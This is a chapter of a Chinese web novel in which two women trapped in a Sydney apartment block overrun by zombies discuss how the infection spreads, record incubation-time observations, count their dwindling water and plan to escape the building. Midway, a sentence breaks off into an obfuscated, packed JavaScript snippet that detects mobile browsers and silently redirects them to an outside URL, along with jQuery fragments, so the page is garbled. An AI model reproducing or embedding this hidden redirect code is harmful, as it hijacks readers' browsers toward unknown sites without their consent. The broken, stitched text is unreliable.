安全也许存在于某个遥不可及的未来,而非此刻。即使侥幸拥有了片刻的喘息,也终将在这场末日天灾中被残酷撕裂。
在二人分食着饼干,享受着战斗后的宁静时,走廊外面传来轰隆隆的杂乱脚步声,夹杂着嘶哑的嚎叫,听着像一大波人混乱的挤撞着从楼道深处汹涌而来。
二人不安的对视一眼,程水放下饼干,率先来到猫眼前。
扭曲的镜头里,杂乱的鞋裤,满是污血的衣袖一晃而过,下一秒,她吓的脖子后仰——一张眼球暴突的灰白尸体冰冷冷的贴住了镜头,连带着门也轻轻颤抖起来。
“什么情况?”黄雅乐三两口吞下饼干,凑过来。程水主动给她让了位置,两个人轮流挤在猫眼前往外看。
“全是感染者。”程水凝重地说,“是被我们打斗的声音吸引来的吧。”
“靠……”黄雅乐也傻眼了,门口楼道里被堵的水泄不通,像是全楼的丧尸都涌了上来。
“主要还是楼下来的多,”程水眯着眼,贴紧了猫眼观察着,“一楼正门肯定全是感染者,感受到动静都往上跑了。”
感染者们没有神志,找不到先前听到的声音来源就开始在楼道里四处乱撞,它们力量大,速度快,把住户门顶的框框作响,直到好一会儿,它们没有目标,才在原地静止。
两人放轻动作,来到离门最远的窗户边,警惕地蹲了下来,压低声音说话:
“为什么你管那些人叫感染者?”黄雅乐指了指门口。
“我只是有个猜测,”程水有点局促地捻了一下裤缝。本来只是自己随口取的外号,现在却被人正儿八经的叫出口,反而让她莫名有些不好意思:“那些人肯定不会无缘无故变成那样的,就像刚刚那个男的。估计是被什么东西感染了,病毒进入身体发生了异变。所以我才管它们叫’感染者’……不然,总不可能它们还是正常人吧?”
黄雅乐了然地点头,又忧心的说:“什么样的情况下会被感染啊?不会是空气传播吧?比如说,打个喷嚏什么的?”
程水无奈地看着她:“那我们刚刚打斗的时候呼吸进多少空气,咱俩有感染吗。”
黄雅乐也是慌张的乱了心神,她原本真的以为是恐怖袭击的,什么导弹袭击悉尼,辐射爆发,所有人在灾难之下都开始发疯什么的,她以为悉尼变成了战区,一心都在往到底是哪个国家看得上澳洲的军事战斗力要和澳洲决战上想,谁知……还和病毒有关?
“那就是母婴传播?血液传播?飞沫?哎不对,你刚刚说这个不是了。那还有啥,啊啊啊我高中真的应该学生物的。”黄雅乐小声抓狂起来,“那个男的,不是脖子断了之后才……会不会是那种专门感染尸体的病毒啊?”
程水认真的想了想,犹豫地摇摇头:“普通病毒没办法感染尸体,只能在尸体上短暂存活,也没办法让人突然变成怪兽吧。”
“那肯定是要有点原因了。”黄雅乐搓着手琢磨起来:“或者说受伤什么的?不都说如果受伤了流血了不处理容易感染发炎嘛。”
回忆起那道肿胀紫黑发亮的刀伤,程水思索起来:“我想过这个可能性,皮肤的保护被破开,病毒进入伤口开始感染全身是极有可能的,可他接触过什么呢?他身上没有和感染者搏斗过的痕迹啊。”
“不会碰到感染者就被感染了吧!”黄雅乐惊恐地说。
“不会。”这个程水倒是很确定,楼上她剁下来的小腿还在蹦跶呢,“如果只是碰到它们应该没问题。”
黄雅乐接着猜:“唾沫?血液?”
按照程水的生物学思维,她觉得很有可能,但最关键的是,她无法确定,她甚至不知道拉丁裔男人到底是什么时候开始在她门口蹲守的,也许他第一次离开后回到了他住的楼层,受伤的手接触到了感染者的□□。
但……也有一种可能。
程水开始发挥自己的脑洞:那天,拉丁裔男人在她这吃了瘪,狂嚎着清理自己的眼睛,气疯了,也饿疯了。他记得她是从楼上拿下来的食物,便往楼上冲,途中,也许手不小心碰到了沾着感染者□□的门框。
楼上的房间空空如也,一点吃的都没有,这让他气急败坏,心里的火越烧越旺。
最后,他决定不走了,就在她的门口守着。
如果这个可能性为真,那么此病毒的潜伏期大概在半天到一天,或者更短。事关自己的生命,程水发挥出了比平时考Final前两天疯狂补ppt还要风暴的头脑,她很快回忆起了自己在车祸时看到的场景,有人被咬中,倒下,几乎不到五分钟,两三分钟就感染站了起来扑向其他人。
她开始低头翻找自己的包,黄雅乐还在大脑放空的瘫在地上,看到程水的动作,她爬起来轻声问道:“怎么了?”
“有笔吗?给我一支,和纸,谢谢。”
程水接过纸笔,埋头苦写起来。
黄雅乐见她如此专心,好奇的悄悄凑过去,这一看不得了,她震撼的说:“我去,我信你真的是学生物的了。”
【样本1:车祸受害者
感染方式:目测脸颊,手臂,脖子被感染者攻击,有明显出血,大量皮肉分离。
潜伏期:大约两到三分钟,被感染者攻击后立即失去意识,昏倒,随后突兀苏醒,立刻表现出失控的撕咬行为,攻击力上升。
样本2:先前攻击我们的男人
感染方式:最大可能是间接接触,受伤的手触摸到了感染者的□□
潜伏期:长,大约有半天到一天,具体时间不确定,短的话在五个小时左右。】
程水不好意思地笑了一下,把纸递给黄雅乐:“我只是觉得写出来更直观。”
“天,你是从哪里得到这些信息的啊。”黄雅乐震惊了,她默默地问了一句:“你是j人吧?”
“你说mbti吗?那个很火的人格测试?”程水思索了一下,说:“想不起来了。”
“那你肯定是处女座!”黄雅乐紧接着道。
“我其实是巨蟹座……不过问题不大,我觉得传染方式肯定有这两种,大面积的和感染者组织交叉接触,比如被咬了,或者说伤口间接触碰到□□,那样病发时间会拖长。”程水认真的拿过纸,给黄雅乐讲起来。
奈何此人并没有听,她突兀地抱住了程水的手臂,在她怀里抬头:“天,有你太可靠了,我要一辈子跟随你。”
程水不太舒服的抽出手,今天的温度比昨天还要热,虽说还在正常范围内,可被黄雅乐这么一抱,加上先前搏斗的汗水,整条胳膊又热又黏。
黄雅乐显然也感受到了室内攀升的温度,现在是下午,毒辣的阳光热烈的洒在大地上,透过窗户照射进房间,百叶窗拉下,室内仍旧闷热的吓人。
她讪讪地退了回去,不多时,又无声狂怒起来:“啊啊啊啊要是有水就好了,好想洗澡啊……怎么那么热,雨要是不停就好了,还能在外面冲个凉。”
程水问了太多天尸臭和血腥气,已经几乎闻不到身上的味道了,如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586118|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果末日未曾爆发,她肯定会冲进浴室洗两个小时把自己洗的香喷喷的,可现在,她们甚至连喝的水都要没有了。
“你要说水,我们也只剩下两瓶了。”她指着包旁的乌龙茶,另外半瓶水已经被她喝光了,“你的房间里还有水吗?”
黄雅乐用手指比了个圈,程水瞥了一眼,立即明白了,失望地叹了口气。
“那我们离断水估计只剩下,嗯,喝的慢点的话,三天。”程水盘算了一下,“然后就必须要出去找物资了,但是,我们没办法通过楼道去其他楼层探索了。”
她指的是外面楼道里围着的大群感染者,只要他们敢开门,那就是羊入虎口,估计连渣子都会看不见。
“而且这么热,我们会很容易缺水,三天都说多了,我们最多还有一天半。”
这样的噩耗让两人无精打采,好不容易解决了感染者,能坐下来休息,又立刻要开始盘算接下来该怎么活,衣服被汗水打湿,又□□热的澳洲空气蒸干,又打湿,咸菜干一样耷拉在身上。
“走外墙不行吗?”黄雅乐话音刚落,就知道自己错的离谱,自己差点都从六楼外墙下到五楼的过程中失脚摔下去,哪里来的自信她俩可以在外墙如履平地,带着物资归来。
“邻居家的窗开着我才有机会攀过来,”程水也打消了黄雅乐最后的念头,竖着不行,难道横着也不行吗?是的,横着也不行。“窗框太滑了,如果窗子本身不是打开的状态,我没办法攀过去,拉开窗子,再进入房间。”
所有的路都被堵死了。
恐慌如同藤蔓般生长,渐渐攥紧了二人的心脏。
她们该怎么办?
“我们得离开这栋楼。”最后,程水说,她的眼睛里有不安,有害怕,有对未知的恐慌,也有不情愿,但还是说:“我要回国,我不能死在这里。”
“你还想要回国吗?目标这么宏大?”黄雅乐瞪大了眼睛,她嘟囔着说:“咱们能不能活着出去这栋楼都不一定。”
程水皱了皱眉,她有点生气,她也不知道为什么。她生硬地说:“你不想走的话,我就一个人吧。”
黄雅乐这下眼睛瞪的更大了,她讨好的笑了两下,凑近说:“你别生气,我肯定和你一块啊!我就是觉得,咱俩得再琢磨琢磨更仔细的方法,不然就这么冒冒然的跑出去不太好吧?”
程水张了张嘴,刚刚的气奇异地消了下去。她有点尴尬的眨了眨眼睛,也有点后悔自己的语气。
……她真的不太会说话啊。
她懊恼地想。
她挺喜欢黄雅乐的,她也不太想让黄雅乐认为自己是个喜怒无常的人,现在的场景令她脑中闪过了好些画面,都是从前交友时,对方的哪句话令她不高兴,她默默的忍着,生硬地表现着,结果到了最后,她就没有这个朋友了。
黄雅乐瞪着眼睛看了她好一会儿,一直看到她忍不住扭开头,才松了口气,道:“我们肯定不能走楼道了,但是我们还是可以走外墙啊!你想,我确实是拿被套下楼失败了,那确实是我的问题,但如果再来一次,肯定可以的,我们两个人把被□□紧实点,一路爬下去,不就出去了吗?”
“然后去哪?”
黄雅乐哑声了,她结巴了两声,很快,她眼睛一亮:“不如,我们去找其他中国人吧?”
“去华人区?”?
北悉尼附近,有北悉尼最大的华人区,北悉尼最大的商业区,悉尼最有名的中国人聚集地之一。
车士活。